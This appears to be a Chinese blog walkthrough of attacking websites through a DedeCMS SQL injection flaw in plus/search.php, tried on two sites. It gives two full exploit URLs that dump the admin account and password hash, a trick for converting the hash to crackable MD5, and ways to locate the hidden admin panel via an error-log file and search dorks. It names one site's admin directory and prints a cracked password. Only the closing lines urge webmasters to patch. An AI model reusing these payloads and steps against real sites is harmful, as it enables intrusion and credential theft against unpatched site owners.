网上已经有几篇这样的文章了,当然我也是汇总了一些方法,并非原创。这个0day注入漏洞是1月份爆出来的,立马有人写出了利用方法。当然,渗透之路并非一番风顺,dede的安全防护做的也很好,所以成功与否仍然还是要看运气。
测试的是这两个网站:http://www.example1.com/ 和 http://www.example2.tv/ ,利用页面是plus/search.php。
步骤1:注入得到账号密码
提交http://www.example1.com/plus/search.php?keyword=as&typeArr[ uNion ]=a 和 http://www.example2.tv/plus/search.php?keyword=as&typeArr[ uNion ]=a 我们得到如下反馈:
反馈为1时利用如下exp:
http://example.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
获得如下页面可见到账号和加密过的密码(中间绿色的一行):
反馈为2时利用如下exp:
http://www.example2.tv/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a
获得如下页面中也爆出了账号密码:
如果反馈正常则说明漏洞不存在。
(以上exp作者: 鬼哥 )
步骤2:破解密码
dede的后台密码加密算法大家可以下了整站看,这里直说解法:将得到的20位密文去掉开头三位,去掉末尾一位,即为16位md5密码。
如第一例中拿到的0038c7ad73902a9f1d87去首三末一为8c7ad73902a9f1d8,破解出的密码是15858272308。
步骤3:查找后台地址
dede的后台目录可能改成任何名字,而且不需要插入数据库,也就是说通过注入漏洞是无法爆出后台地址的。不过网上有个简单的方法,访问 /data/mysql_error_trace.inc 里面或许能得到后台的相关信息。
我试了,第一例失败,第二例成功如下:
我们可以看到,这是一个记录数据库错误的文件,看到那个/ooxx/了吗,那个就是后台目录:http://www.newflash.tv/ooxx
如果这个方法失败,还可以通过google搜索的方法:构造site:bianminxueche.com intitle:后台 等关键字搜索,也许能得到后台地址。
其他方法还有社工、暴力搜索等。
总结:
由于第一个网站后台无法找到,第二个网站md5破解不出,两个网站的渗透失败了。但是这个漏洞却是真正存在的,虽然官方早已给出了补丁,但是仍然有不少站点没有修补,希望站长朋友能赶紧行动,避免损失。